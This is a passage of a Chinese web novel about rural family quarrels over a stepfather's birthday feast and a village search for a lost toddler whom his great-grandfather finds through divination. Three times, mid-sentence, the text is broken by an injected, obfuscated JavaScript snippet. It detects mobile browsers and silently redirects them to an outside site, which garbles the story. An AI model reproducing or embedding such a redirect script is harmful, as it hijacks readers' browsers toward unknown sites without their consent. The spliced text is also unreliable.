一个家里精穷，一把岁数也不指望能娶到媳妇，当上门女婿还能过几天好日子。 两个一拍即合成了婚，住在何石他爹建的房子里。 起初赵德确是个老实勤快的人，虽长得难看了点，好歹干活是一把好手。待何石也和蔼可亲，视如己出，一家三口日子过得平和有奔头。 待到第二个年头王氏怀上胎，生下个男孩，取名赵平。 其实垄上有些年岁的老人说起王氏两口子是颇有些微词的，说是王氏当初坐产招夫说的是生下孩子姓何，结果现下竟然随了夫姓。 那何石他爹一辈子的心血岂不是白白便宜了外人，给不相干的人养了儿子。 奈何何家是村里的独门独户，连个长辈也没有，外人再不忿也管不到人家两口子的房里事。王氏决意这般做，旁人最多嘀咕几句，背后指指点点，一点杀伤力的招数都没有，对不在意的人伤害几乎为零。 又过了几年，王氏生下一个女孩，名为赵桃花，一家人更为圆满。只苦了何石，小小年纪家里家外一把好手。 王氏自是不会苛待自个儿子，吃穿用度都不差，就是干的活有点超出一个孩子的承受范围。赵德随时带着何石干农活，下地除草、栽秧、割稻谷……一样不差。 十来岁的少年正是长个子的时候，虽吃得饱，重活干多了到底影响身高，成年的何石是个矮壮的身板。 等到了成亲的年纪，在老屋旁边起了一间小房子当婚房，娶了云娘进门。云娘也是个勤快能干的，小两口兢兢业业、起早贪黑地忙碌，到底靠着一双手活成了一户人家，彻底跟老宅那边分开过活。 要是较真起来，赵德委实算不上是云娘的公公，她公爹早不知埋地下多少年了。可世上的事哪能真个分清楚黑白对错，全都是一团乱麻，剪不断理还乱。 赵德今年满五十，王氏有意无意在云娘跟前提了几句，想让两个儿子出钱置办寿宴。云娘一直不点头，才有了今儿的这一出大戏。 45. 第 45 章 杏娘挠一把脸蛋，仍是一脸不解，“赵叔要过生辰了？可这跟我有什么关系，半点挨不着啊？” “你呀你！”看她仍是一知半解，半点摸不着头绪，云娘委实羡慕了。 “你可真是在蜜罐里泡大的，想必你爹娘从小对你宠爱有加，养成了你现在这幅半点不知世上艰辛，连人家的话外音都听不出来。” 杏娘羞赧地低下头，“不瞒嫂子，我这个人就是个直肠子，说话做事都喜欢直来直往。我娘家人口虽多，我却是最受宠的，爹娘又能自个挣钱不靠儿子。所以无人敢反抗他二老的心意，他们娇宠我也没人敢质疑。不过……” 她叹了一口气，“不过嫁了人离开爹娘，方知人的心思真是多，复杂难测。通常嘴里说的跟做出来的完全是两码事，人一拐弯抹角的说话，我就听不懂了。为此不知吃了多少暗亏，可我就是没长那根弯弯绕绕的肠子有什么法子，哎……” 云娘安慰她：“这也不难的，你只是经的事少，从小生活的环境单纯，你爹娘也没教你，所以才迟钝了点。就拿今天的事说吧，我婆婆先是从风湿膏入手引出李老爷子，再从李老爷子的寿宴说到子女孝顺。 自个亲爹肯定是尽孝的，就是为了让你附和她的话，借着你的话来提点我，让我同意办寿宴……结果你不上套，没按照她的心思走，她就改变策略说起你婆母，毕竟丛三奶奶当初是举办过四十寿辰的。 可你还是没听懂她的暗示，竟然把你婆母臭骂一顿，她顿时就尴尬了……无非是你听不懂，可我能听明白啊，她特意过来说了这么一大通，反被你弄得下不了台。在我这里子、面子全丢个精光，可不就狼狈地走了……” 云娘把今天的对话剖开、理顺，细细给杏娘一一讲来，“平日里我们东一句西一嘴的聊家常，是漫无目的，想到哪说到哪，就是为了打发时间。若有人跟你说话时一直绕着一个话题打转，那你就要打起精神了，人家肯定在绕圈子。 要是没有目的，何必费时费力扯着你说个没完，而且还只说这一方面的……你要是听懂了一点边角，却不清楚她的目的，不妨顺着她的话往下说，铺垫了这么久，她总要说出最终目的。 若是你压根不想搭理她的话茬，干脆就反着她的话说，人说什么你呛什么，弄得她说不成也就消停了。” 杏娘越听嘴巴张得越大，以往的认知在此刻坍塌成废墟，呆滞的脑袋瓜不时飘过这样的念头：人怎么能狡猾成这样，说话绕弯子堪比水路十八弯，不嫌累的慌吗？ 云娘轻柔的声音还在耳边回荡，“似你这般的性格自然人人喜欢，一看就是没什么心眼的人，不用防备。但是人生在世，总有些为难事不愿坦荡荡说出来，以免被拒彼此尴尬，心生龌龊，坏了情分。这时就需要迂回着说，绕着话题打转转，让对方能够意会……” “不是……说个话而已，有必要搞得这么复杂吗？直来直往地说出来多省事，要这么着，一天到晚不用干活了，光说话就累够呛。” 杏娘的声音虚无缥缈地几乎听不见。 云娘轻笑一声，“其实也没这么可怕，寻常说话肯定是干脆、直接，谁也没那闲工夫听人兜圈子。这不是双方都心知肚明是件过分的事，对方肯定不愿意，或者不清楚对方的意图，明面上不愿撕破脸的情况下彼此试探嘛！” 杏娘疑惑地问：“那王婶先前跟你提过赵叔过寿辰的事？” “没有直接说出来。”云娘轻哼一声，不屑地道。 “我婆母那个人若没有十足的把握，怎肯轻易跟我们提要求？毕竟我们两家现在是分开过活，家产、田亩都是分开的，我们两口子用不着求他们。” 想起往事，云娘更是冷笑，“之前我们年轻，家资都攥在老两口手里，加上我一进门连生了三个女孩儿，我们两口子哪里抬得起头？ 吃一口饭，喝一口水都要看人眼色，人要皱一下眉头，连筷子都不敢伸出去。夜里肚子饿得咕咕叫睡不着，爬起来灌水灌个半饱，哄骗着睡下。” 杏娘惊愕地看着她，一直以来她都以为云娘两口子是孩子多，家里艰难才这般吃苦耐劳，拼了命的干活。赵叔虽说是何石的继父，但两家有来有往，相处地也和睦，万想不到私底下还有这番龌龊。 悲凉的往事总能轻易挑起人的情绪，云娘心里一肚子火，她竭力控制住自己的情绪，深深吐出一口气，好半晌才平静下来。 这些都已经过去了，她告诉自个要冷静，抓起一把蚕豆剪口子。 “好在老天爷还是疼人的，我终于生下来泽儿，生了一个儿子。等泽儿满一岁，我就求了村长给我们分家，暗地里的东西我也不惦记，人家有儿有女的怎肯拿出来？我只要求明面上的东西能公平，往后我们自个过活。吃糠咽菜我也认，我真是受够了这种低声下气，乞丐般的日子。” 杏娘不忍地握了她的手，她自小生活富足从不知挨饿是何滋味，嫁了人虽说被大嫂和婆婆哄骗了钱财，却也没吃过甚苦头。 云娘抬起头笑笑，“我没事，都过去了，现在我自个当家做主。想吃干饭就吃干的，想吃稀饭就吃稀的，谁也管不着我。女儿大了知道心疼爹娘，里里外外帮衬了我们不少，我终于熬出头，苦日子熬过去了，现下过得舒坦。” 停了一下，她又是一声冷笑，“不过说到底，现在的好日子不是谁施舍的，是我们双手双脚拼出来的，跟任何人都没有干系。我那婆母想给她男人办寿辰，办得风光了也是她的好儿子赵平沾光，大家伙说起来也都是亲儿子孝顺。 我们两口子出钱出力还不讨好，又不是天生的贱命，非要去掺和。我婆母现下只是暗示，她就算明面上说出来我也不会同意的。谁家的银子是大风刮来的吗？才吃了几天饱饭，我可没那闲钱浪费，她亲儿子有钱有孝心，自个自去操办，我不沾他的名。” 一番话说得斩钉截铁、铿锵有力，无半点回旋的余地，一时两人都沉默下来。 院子里一片静谧，只余剪刀来回转动的“咔嚓”声，树上的蝉鸣声一阵接一阵，不知疲倦地嘶叫在院子里飘荡。 今天发生的事情显然超出了杏娘的认知，她浑浑噩噩地坐在那剪豆子，手指无意识地来回动作，其实心思早跑到十里开外。 云娘也有些心情激荡，两人都心不在焉地说几句废话，偶尔搭腔两句，自个说了什么都不知道。 等剪完豆子回到家，杏娘脑子还是乱成一团浆糊：没想到王氏看起来温柔可亲，私底下如此偏袒后头的男人和孩子，把前头男人的儿子当根草。 没想到赵叔看起来憨厚老实，暗地里欺压作践前头男人的孩子，享用着人家的家产还如此厚颜无耻，简直是知人知面不知心。 更没想到的是原来所有人说话都是说一半留一半，面上笑得再欢快，背地里捅刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457604|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的大有人在。 她的思绪不知不觉发散，想到之前的很多往事。 婆婆说她儿子的裤子破了个洞，太不像样，她就掏钱扯布，儿女的都买了，少不得给两个老的也扯一身；大嫂说小叔子一回来累得人都瘦了一截，她也慌不迭割条肉，就怕亏了男人的身子。 现在想来，她们从不明说自个要什么，都是说别人怎么样了，且都是她关心的人。难道那些布、肉只他们一家用了吗？ 不是的，一大家子都在用，她们动动嘴巴，敲敲边鼓，她就傻不拉几急匆匆去买了。 她们自个也有儿子，也有男人，她们心疼儿子、男人却不出钱，偏偏就爱哄骗她这个傻白甜，谁叫她人傻钱多不防人呢？ 杏娘恨恨地给南瓜削皮，青绿色的嫩南瓜脆甜、清香，连皮都是甜的，本用不着削皮。杏娘自回到家就一副身在曹营心在汉的状态，做事全凭本能，脑子处于思绪激烈碰撞的时刻。 谁也不是一生下来就会拐弯抹角地说话，旁人都能学会，她李杏娘比人差哪了？ 她一定也能学会。 尤其是她大嫂，一句话能绕三、四个弯，她往常都是怎么说话来着？ 杏娘蹙起眉头细细回想，林氏之前挖过哪些坑，她又是怎么掉进去的。若是现下应该怎么怼回去，怎么让她下来台，怎么让她有苦说不出。 越想越乐，杏娘忍不住哈哈大笑，小南瓜一分为二，先切片再切丝，动作利索，行云流水。想到兴奋处激动得两眼放光，仿若林氏吃瘪的样子就在眼前，叉腰仰头放声大笑，笑完接着切丝。 陈氏看到院子里的南瓜皮心有不满，好好的嫩南瓜削什么皮，这不是浪费吗？ 她有心到灶房说两句，看着眼前的这一幕吞咽了一口口水，小儿媳这又是发的什么颠？ 陈氏默默咽下嘴里的话，转身往回走去堂屋——有的南瓜皮确实是硬，削了更嫩。 这一顿晚饭吃得非常安静，安静的静乎异常，除了杏娘时不时发出诡异的笑声。两个老的加三个小的，看着本来扒饭的杏娘，莫名其妙开始痴笑，冒了一身的鸡皮疙瘩。 这是吃错了什么药？ 抖一抖身子，头埋得更低扒碗里的饭，不敢在母老虎头上捋毛。就连最小的青果看着杵到鼻孔的勺子，努力垫高下巴往上抬，把勺子含进嘴巴。 要是往常，早嚷嚷开了，非得杏娘讨好、揉捏一番才肯吃饭。眼下却是不敢了，识时务者为俊杰嘛，他虽然小但不傻，没见爷奶都不说话吗？ 直到躺到床上睡觉，杏娘仍在排演推算，林氏说的话她应该怎么样接，最好气死她不偿命。幻想着林氏铁青的面孔，杏娘把脸埋进枕头，拳头把床捶得“嘎吱”响。 如是数日，杏娘沉迷推演不可自拔，林氏会说什么话，她要接的话，反复推导了无数遍，望眼欲穿盼着林氏来了好一展身手。 结果她这大嫂也不知道怎么回事，不想见她的时候，天天在眼前晃荡，赶都赶不走。现在愿意见她了，她又消失得无影无踪，连个人影都不见。 所谓一鼓作气，再而衰，三而竭，杏娘摩拳擦掌，准备大杀四方，一雪前耻。 奈何对手不给她机会，连面都没露，她准备的那些说辞、反击毫无用武之地，时间一长，自个都忘到了脑后。 杏娘想见的人没等到，却等来了一个意想不到的坏消息。 46. 第 46 章 这天云娘来约杏娘线鸡。 “线鸡？”杏娘吃惊地问，音量提高了八度，“线鸡是什么？” 云娘好笑回答：“就是把小公鸡阉了，鸡群里的公鸡多了抢食不说，还啄架、踩母鸡背，影响母鸡下蛋，吃得多长得少，完了肉还有一股腥膻味。” “有这回事？”杏娘满是疑惑。 “那是自然，我还能骗你不成。”云娘的语气非常权威，“阉了的公鸡就不一样，性格温和长得快，肉质鲜美，跟母鸡一个鸡笼也没什么妨碍。所以每年出笼的小鸡留一两只公鸡打鸣，其余的都阉了。” 杏娘抬头望天做思考状，“我家就剩了八只鸡，我也不清楚有几只公的，你怎么这么厉害，连线鸡都会？” 云娘被逗笑了，跟杏娘在一起总是多出了许多乐子。她当然是不会线鸡的，这可是个技术活，不能瞎胡搞。 每年的小公鸡长到快两月了，就有裤腰带上挂了各式工具的阉鸡师傅走乡窜户。经验老到的师傅阉割动作“快、狠、准”，一气呵成，阉割后的小公鸡易成活，不会生病死亡。 两人去鸡窝查看了一番，就一只小公鸡，留着打鸣也罢。云娘家的却多，足有七、八只，她家养的鸡多，不奇怪。 虽然英娘的鸡更少，只有三只，还是杏娘友情赠送的，照说没有公鸡的。但凡事就怕万一，倒霉起来喝凉水都塞牙，万一全是小公鸡，那就完犊子了。 杏娘顺便去她家提醒了一句，英娘心不在焉点点头，她这几天跟朱青水闹别扭，也没心思管别的。 临近傍晚，天幕将黑，娘四个洗漱妥当坐在巷子口乘凉。 夏天的风就是这么邪乎，白天的南风吹得呼呼响，穿堂风从堂屋一路刮到灶房门口，畅通无阻。风把门板吹得“哐当”作响，只能用条凳抵着，凳子轻了且不行，猛地“砰”一声，门板被风关上，能震聋人的耳朵。 天色越晚风越小，到了晚上只余些微的清风可有可无地飘荡，仿若柳枝拂面。不过有风总比没风好，泼了井水的地面散发点点清凉，闷热了一天的暑气总算有些许消散。 杏娘正一手给小儿子的背挠痒痒，一手轻摇蒲扇，青果舒服地昏昏欲睡。凉床清凉的竹片熨帖着皮肤，不时有风拂过脸颊，他神采奕奕了一整天的眼睛渐渐合拢。 杏娘越发放轻动作，几乎用指尖在他的背上来回滑动，以至余金、李娥两口子走到跟前了才发现。 李娥率先喊了一声“小姑”打招呼。 杏娘惊讶地抬起头：“你们怎么过来了？这眼看着就要天黑了，大老远的也不像从我家门口路过吧？” 李娥摆摆手，一屁股坐在凉床边，喘了几口粗气，哑声吩咐青叶：“小表妹，给你表姐、表姐夫端碗凉水，渴死我了。” 青叶忙不迭溜下凉床，看她累成这个样子，杏娘也不忍心催促。 半碗井水下肚，另半碗进了余金肚皮，把碗向前一递，“再来一碗。” 凉水缓解了干涩的喉咙，李娥才有空说话：“小姑，陈皮可有来你家？” “谁？陈皮。”杏娘一脸不解，“他爹娘没过来，他爷奶也没过来。” 陈皮是她三哥最大的小孙子，年方两岁。 李娥耐心解释：“不是他爹娘、爷奶带来的，就他自个有没有来你家，或者你可有把他带来这边？” “开什么玩笑，一个两岁的小娃娃如何能走到我家，他又不能“嗖”一声就飞过来。再说了，我又没去白水湾，怎么把他带过来，就算我想把他带回家也得知会他父母吧。” “我就说吧。”李娥塌着肩膀，满脸抱怨。 “想也知道陈皮不可能在小姑这，三婶拿着鸡毛当令箭，乱七八糟瞎指挥一通。以为谁都跟她似得，自个小孙子不见了天黑才发现，早干什么去了。我说不用来小姑这，她非吵嚷着要来，要不是看她丢了孙子的份上，我能依了她？ 大晚上的也没船坐，一路走过来全是窄小的田埂。鞋子脏得不成样子，还摔了几跤，你说这叫什么事，真是叫人火大。” 余金摸一把脸，有气无力安慰她：“好了，好了，你抱怨这么多有什么用，来都来了，既然小姑这里没有，咱们还是回去吧，指不定家里头已经找着了。这一路还得走回去，省点力气留着走路吧。” 一番话说得李娥更是想死，哀嚎一声，真想就地躺下不动了。 杏娘听得稀里糊涂，着急地问：“不是，你们先别走啊，跟我说清楚发生了什么事？谁走丢了？陈皮吗，他这么小怎么走丢的？” 原来李芦根两口子白日里要下地干活，小儿子就丢给李老三夫妻看管，这在农家是常有的事。 所以父母中有一个丧了，或者双亲都没了的少年男女都不好说亲。一个是男方家里连个帮衬的人都没有，干活如何能腾挪开手，一个是女孩无父母教养，先天不足，怕德行有差。 李芦根夫妇天黑回家吃饭，碗都端手上了才发现少了一个人。问老爹，老爹推给老娘，问老娘，老娘说是你爹晌午抱出去玩的。 这下子慌了神，孩子都不见了，还吃什么饭啊？ 李老三全家上下撒开腿就往外跑，喊人的喊人，找李老爷子的朝老屋狂奔。 不一会儿，李家四房齐聚老宅，满满当当挤了一堂屋。李娥因嫁得近，家就在白水湾不远处，今天恰好在娘家吃晚饭，故而两口子也在当场。 李老爷子率先开口：“老三家都找遍了？” “房前屋后翻了个遍，就差刨地皮了。”李芦根焦急说到。 “这样……”李老爷子捋着胡须，沉吟片刻说，“老大这一房头的人往西边走，挨家挨户查看，边走边问，大人、孩子都要问过，看是否有见过陈皮。路边上的草丛、河里都翻找一遍，细细地找，不可马虎。老二这一房往东边走，一样的找法。至于老三……” 老三家两口子向来不靠谱，不然也不会出这等事。 “老三这一房把家里再过一遍，床底下、箱、柜等边角嘎啦的地方都翻开看，屋子前面的河、后院的水塘、菜园都走一遍。边走边喊陈皮的名字，怕他躲在哪个角落睡熟了没听见。老四……你们几个跑一趟亲家那边，看看孩子在不在他们那里。” 屋里众人齐声应答，站起身就要离开。 哭嚎得眼泪鼻涕横流的钱氏慌忙嘶哑出声：“等等，再派人去姑奶奶家一趟，兴许被小姑子抱回家了。” 她满屋子扫一圈，“娥姐儿，要不你去吧，你们两口子年轻，腿脚快。” 李老爷子略一皱眉，看了她一眼，到底没出声反对。 李娥快言快语：“小姑都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457605|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来，怎么把陈皮抱她家去？” “那谁知道，小妹做事一向有主见，哪有旁人质疑的余地。” 李娥张嘴还想说什么，胳膊肘被男人捏了一把，遂闭上嘴巴。 两人来时天色还有一丝微亮，此刻彻底黑沉下来，面对面站着看不清人影。 杏娘把两个小的托付给公婆，带上青叶回娘家。爹娘都是五十好几的人了，这一番折腾还不知道什么时候能结束，她不放心。 四个人打了两枝火把，深一脚浅一脚走到李家老宅时，满是污泥的鞋子没法进屋，汗水把衣裳都浸透了。 杏娘坐在椅子上大口喘气，“娘，怎么样了？陈皮找着了吗？我爹呢？” 杨氏给母女两拿干净的鞋子，“能找到就好了，出去的几波人都没信，估计还没找到。你爹点了清香在房里打坐，说是等会儿卜一卦。” 老李家倾巢出动，挨家挨户的找孩子，把整个白水湾都惊动了。孩子丢了本就是大事，何况是李老大夫的小重孙子。 男女老少自发组队搜索，河边、水坑、破烂的墙角，连李老三家的茅房都被搅了一遍，还是不见孩子的半根毛发。 满地闪闪发亮的火把，沸腾的人声喧闹，村子热闹得像过节。连白水湾最东边靠近林场的一间小屋子都能听到外头的响动。 “外头怎么了？今儿晚上怎么这般闹腾？”听着隐隐约约的喧哗，嘴角长了一颗黑痣，五大三粗的中年男子问到。 “强哥，您等着，我出去看看。”一道瘦削的人影闪身出门，不一会儿，又匆忙跑进来，“我打听了，说是在找李老先生的重孙子，这都快找半夜了，估摸着够呛。” 简陋的屋子里一目了然，堂屋中央摆放着一张破旧的四方桌，桌上散落几张牌九。四、五个男人或站或坐围着桌子。 “怎么是他家？” “他家孩子那么多，丢的是哪一个？” 张大强皱起眉头，捏着下巴沉吟片刻，一把扔掉手里的骨牌站起身，“既是李老先生的重孙子走失，没碰上也就罢了，眼下正好给我们赶上，不去帮忙的话怎么都说不过去。哥儿几个别玩了，都过去帮忙找孩子。” 推开椅子率先出门，剩下几个面面相觑，不明白他什么时候这么急公好义了。 王茅发嬉皮笑脸点头附和：“强哥说的对，到底是一个村的，我们都过去凑凑热闹。” 几人无可无不可地站起身，牌玩不下去了，出去走一趟也无妨。 换了干净衣裳鞋袜的杏娘长舒一口气，焦急地在他爹房门口打转，“也不知道爹打坐好了没，可有卜出吉凶？”却也不敢擅自闯进去。 燃着烛火的房间里李老爷子睁开双眼，掏出袖子里的五帝钱，依次掷了六次。 “离卦……”李老爷子神情严肃，喃喃自语。 听到房门打开的声音，杏娘回过头，李老爷子一脸平静地走出，站在大门口望着河对岸出神。 对岸是成块的农田，一片漆黑，河边人潮涌动，火光通明，估摸着全村一大半的人在河里蹚水。 “爹……”杏娘小声喊到。 李老爷子平静地说：“卦象显示的是南面，往河对岸去找吧。” “河对岸？”杏娘惊愕地回头，陈皮一个小小孩童跑水田里去干什么？ 47. 第 47 章 李老爷子既卜出了卦象，众人少不得要遵从老天爷的指示。家里剩下的三人又举起火把往河对岸走去。 过河的石桥离老宅不远，到了河对岸，全是整齐排列的水田。正对着南方选了一条较宽的田埂，几人边走边喊陈皮的名字。 直走到腿脚酸疼，呼哧喘气声越发大起来，别说人影，这大半夜的连个鬼影都没见着。 “我说……”李娥躬着身子，双手叉腰，“爷爷是不是卜错了，我们走了有好几里路了吧，呼……再……再走下去都能到镇上了。” 余金擦一把额头的汗水，虽说晚上稍微凉快了点，可大夏天的走这么远的路也热够呛。他望了望周围，踟蹰不定，不知道该怎么办。 三人停下脚步休息，喘气的声音在寂静的夜晚越发显得响亮，四周笼罩着一片黑暗，余金手上的火把在这片黑暗中发出微弱的光芒。 杏娘也累得两腿发软，今儿晚上跟田埂是过不去了，走了半夜的田埂路。衣裳鞋袜看来是白换了，她看了眼漆黑的前方，又转回头看向白水湾方向。 “往回走吧，这样找下去不是个办法，回去看看怎么样了。”声音里染上掩不住的疲倦。 她是最大的，又是长辈，既拿定了主意，其余两人自然听从，三个人沿着来时路返回。 走近河边时，岸上的火把少了一多半，许是上了年岁的老人经不住回家休息了，只余部分青壮年还在搜寻。 将要过河，杏娘看着黑洞洞的桥底心中一动，“慢着，咱们这么多人找了大半夜，差不多将村子翻了个底朝天，还是没找到陈皮。咱们是不是漏了一个地方？桥洞里还没找过呢。” 余金两个面面相觑，河里的水都能换过一遍了，桥洞里……确实没人找过。 余金慢慢下到坡底，举起火把挨个查看洞口，“找到了，孩子找到了！”尖锐的声音穿透云霄，在无边夜色蔓延。 “找到了？在哪里？” “孩子找到了吗？” 人群顿时沸腾起来，熙熙攘攘的火把往这边靠拢。 李娥滑下河坡接过火把，余金小心翼翼从靠近桥中心，最小的一个洞口里抱出一个蜷缩的孩童。 杏娘小声喊道：“陈皮，陈皮！” 孩童毫无反应，依旧沉睡，平静的面容在火光的照耀下白得发亮。 三人心里发毛，互相对视一眼，不敢耽搁，抱了小孩往李家老宅跑。 老宅堂屋站了一屋子人，李老爷子把重孙抱在怀里，另一只手轻柔按压他的手腕、脚底板。 屋里人虽多，却不敢发出半点声音，这小娃娃也不知道怎么回事，无论怎么喊他、拍打都弄不醒。这般小的孩童是贪睡，可被大人揉捏、拍打几下，睡得再熟也会睁开眼睛。 众人心里七上八下，怕是……可看他鼻息悠长的样子，又不像，真是够邪门的。 李老爷子面容肃穆，把重孙身上的几个穴道依次按压一遍。快速捏了个手诀，以指点在他的额头，点了三下，缓声说道：“乖孙儿，莫贪玩，该回家了！” 声音清亮柔和，正气凛然。 恰在此时，一声高亢、绵长的公鸡打鸣声响起，尖锐、嘹亮的啼叫在屋外久久回荡，众人听得心下一凛。 啼声过后，屋里陷入短暂的静谧，杏娘紧张得连呼吸都忘了，耳旁似乎听到心脏鼓动的“砰砰”声，她死死盯着躺在李老爷子怀里的小陈皮。 似乎过了很久，又好像只过了片刻，小小孩童的眼皮抖动几下，缓缓睁开，“太爷爷！” 李老爷子露出一个释然的笑容，“乖！太爷爷在这里。” “天哪！他醒啦！快看，他的眼睛睁开了。” “哪呢，哪呢，让开……给我看看。” “真的醒了！这可真是……真是……神了！” 人群顿时一片沸腾，争相往前挤着看苏醒的小娃娃，惊奇、赞叹声不绝于耳。刚才怎么都喊不醒的孩童，就这么……突然地睁开了眼睛，简直不可思议。 李老爷子抱了小孙儿站起身：“因我李家之事害的诸位操劳、担忧大半宿，眼看着将要天明，大伙如不嫌弃，不妨在李家吃个宵夜好回家安眠。今日之事多谢大伙的鼎力相助，来日但有吩咐，老朽赴汤蹈火，在所不辞。”说完，鞠了一躬。 众人纷纷避让，说着“老先生客气了”“都是一个村的，实在不必如此”等语，李家四兄弟忙拱手邀了众人去李老大家坐席。 早有伶俐的小伙扛桌子、搬凳子的忙个不亦乐乎。 李家的老少娘们撸起袖子开始忙活，怕老大家的菜不够用，各家的婆娘跑回家把灶房搜罗一空，提着装满的篮子赶过来。刷锅、点火、洗菜、切菜，各司其职，不一会灶房的炊烟袅袅升起，再片刻，辛辣的香味丝丝缕缕飘散在夜空。 忙活了大半宿，公鸡都开始打鸣了。不说还不觉得，一闻到灶房传出的香味，大伙肚里的馋虫彻底被勾起，越发觉得五脏庙府响得能打鼓。 李家妇人本就多，手脚麻利动作快，加上还有三、五邻居帮忙，没等堂屋众人饿得前胸贴后背，一盘盘香喷喷冒着热气的菜肴端上桌。等得差点抹嘴角的众人此时也顾不上客套，提起筷子开始大块朵硕，每桌还送了一坛黄酒。 再过片刻，海大的汤碗装了米饭送上桌，大伙吃得越发尽兴。 大半夜的，整个村子陷入沉睡，只这一处灯火通明，人声嘈杂。灶房的锅碗瓢盆声叮当作响，端着菜盘的妇人往来穿梭，好不热闹。 一顿饭吃得酒足饭饱，满意而归，众人拱手告辞时天色已见微明。 李家诸人也累够呛，匆忙扒了两口，打着哈欠各自回屋。盆碗桌椅且顾不上收拾，实在是熬不住了，等天明再说吧。 杏娘晕沉沉回房时，女儿在床上睡得酣甜，外头沸反盈天，闹腾了一夜，也只这个小人儿睡得着。她苦笑一声，也懒得再梳洗一次，倒头就睡，脑袋挨着枕头没几息，清浅的鼻息声已响起。 这一觉直睡得日上三竿，不知今夕是何夕，杏娘还是被热醒的，额头上满是汗水。她睁开惺忪的睡眼，茫然的左顾右盼，床上只她一个人，伸懒腰打了个哈欠，下床穿鞋。 “醒了？洗把脸吃晌午饭。”杨氏在灶房摆碗筷。 杏娘懒洋洋趴在饭桌上不想动，“怎么没看到青叶？我爹呢，去哪了？” “你爹带了青叶跟陈皮一大早就在后院水塘钓鱼，你先去洗漱，他们马上就来了。”杨氏又催了她一次。 穿堂风吹得杏娘清醒了几分，额前的碎发随风飞扬，她发了一会儿呆，叹口气站起身去洗漱。 饭后李家老宅又是一屋子人，这回除了自家人，还有几个村里上了年岁的族老。 昨天晚上的重要人物——李陈皮，被团团围在中心，坐在李老爷子的大腿上。 大家伙好奇地问他是怎么爬到那个小桥洞的，毕竟那个最高，离岸坡最远，为什么会在那睡觉，怎么喊都喊不醒？ 小家伙睁着一双天真无邪的眼睛无辜回望，听不懂大人在说什么。听到问他怎么醒时说了句“有一个白胡子老爷爷要我陪他玩捉迷藏，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457606|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好玩了，后来我听到太爷爷的声音，白胡子老爷爷说我家来人接我了，袖子一挥我就醒啦！” 一番童言童语听得众人啧啧称奇，这是遇着老神仙啦？ 要不然怎么失踪大半夜的小娃娃能毫发无伤地找回来？ 这般奇遇可不是人人都能碰上。 族老颤巍巍地捋着花白的胡须，互相点头赞同，嘱咐李老爷子做一个道场，把观音菩萨、土地公、灶王爷等诸多神佛都感谢一遍，谢他们保佑白水湾的小娃子们。 李老爷子微笑点头。 还不到天黑，陈皮说的话就传遍白水湾，并以极快的速度向周边乡邻辐射。众说纷纭，各种稀奇古怪的流言传地沸沸扬扬。 有说李老爷子占卜神通的，“李老先生说往南面找，以河为界，那个小桥洞可不就在南方，嘿！就这么找着了。” “要我说肯定是小娃娃在河边玩水时掉水里了，被老神仙托起送到洞口。要不然他这般小，还没野草高，那么高的洞怎么爬上去的？” “还有那只公鸡打鸣声，我的个娘呐，那个响亮，把我吓得一激灵。你们说说，我打小就没见过公鸡这般早就啼叫的，还叫了这老长时间。你们说，是不是公鸡也在帮李老先生，提醒老神仙人仙有别，要他放了小娃娃的魂灵。” 更有人陈词总结“李老先生积德行善，功法无边，连老神仙都救他家孩子哩！李老先生上辈子没准是天上的仙官，老神仙一听到他的声音就把小娃娃送回来了，可不稀奇？” 李老爷子再一次刷新了他的业务水平，奠定了他在乡邻心中无与伦比的崇高地位，在他传奇般的人生中又添上一抹浓墨重彩的颜色。 晚饭前一个时辰，杏娘谢绝了爹娘的留饭，趁着离天黑还早，带着女儿坐船回家。 船行至半途，青叶掏出一个荷包递给杏娘，“外祖父给的，要我坐船时交给娘。” 杏娘熟练的解开袋子，里面果然躺着一两白银。 这还有什么不明白的？ 之前爹娘陪送了她大笔嫁妆，本以为她这辈子可以衣食无忧，不成想她是个守不住财的，才几年功夫就败了个精光。 现下爹娘担心她生活困苦，又怕她再被人哄骗，所以每次见面就给一两银子。既不怕钱多被人骗了去，又有银子傍身，两老为了她费尽心思，唯恐她受苦。 杏娘眼眶湿润，她这辈子纵使犯了错，爹娘也还是尽力托举着她，让她不至于跌落泥潭。 有这般的爹娘，这一生也无憾了。 李老爷子叫了老大和老三进房，“这是一个礼盒，你们送去村东边的王茅发家，就说谢他几个兄弟昨天晚上的相助之恩。别的不要多说，礼送了就回来。” 两兄弟忙点头应下。 